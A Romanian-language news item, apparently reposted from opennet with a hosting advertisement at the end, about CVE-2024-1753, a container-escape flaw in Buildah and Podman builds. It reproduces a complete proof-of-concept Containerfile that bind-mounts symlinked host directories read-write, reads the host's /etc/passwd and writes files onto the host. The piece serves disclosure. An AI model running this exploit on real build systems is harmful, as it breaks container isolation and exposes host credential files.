Vulnerabilitatea din Buildah și Podman, care permite ocolirea izolării containerului.

În pachetele Buildah și Podman a fost identificată o vulnerabilitate (CVE-2024-1753) care permite accesul complet la sistemul de fișiere al gazdei în timpul etapei de construcție a unui container rulant cu drepturi de root. Pe sistemele cu SELinux activat, accesul la FS-ul gazdei este restricționat în modul doar citire. O soluție este disponibilă momentan sub formă de patch, care a fost acceptat cu puțin timp în urmă în baza de cod Buildah.

Vulnerabilitatea este cauzată de faptul că, atunci când se montează părți ale FS-ului prin comanda „mount —bind” în timpul construcției la etapa RUN, argumentul cu directorul sursă (parametrul „source=”) nu este verificat pentru existență în FS-ul rădăcină. Un fișier de configurare construit de un atacator poate utiliza imaginea containerului, în care directorul sursă pentru montare este realizat sub formă de și legătură simbolică la FS-ul rădăcină. În acest caz, operația de montare va duce la montarea FS-ului rădăcină al gazdei în interiorul containerului, permițându-i la etapa RUN să obțină acces complet la sistemul de fișiere al gazdei și să iasă din container în timpul construcției folosind comenzile „buildah build” sau „podman build”.

Exemplu de fișier malicios Containerfile, a cărui construcție cu comanda „podman build -f ~/Containerfile .” va duce la afișarea conținutului /etc/passwd și la crearea fișierelor /BIND_BREAKEOUT și /etc/BIND_BREAKOUT2 în mediul gazdă: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo „ls container root” RUN ls -l / RUN echo „Cu exploit, arată root-ul gazdei, nu root-ul containerului, și creează /BIND_BREAKOUT în / pe gazdă” RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo „Cu exploit, arată /etc/passwd al gazdei, nu al containerului, și creează /BIND_BREAKOUT2 în /etc pe gazdă” RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Sursa: opennet.ro

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster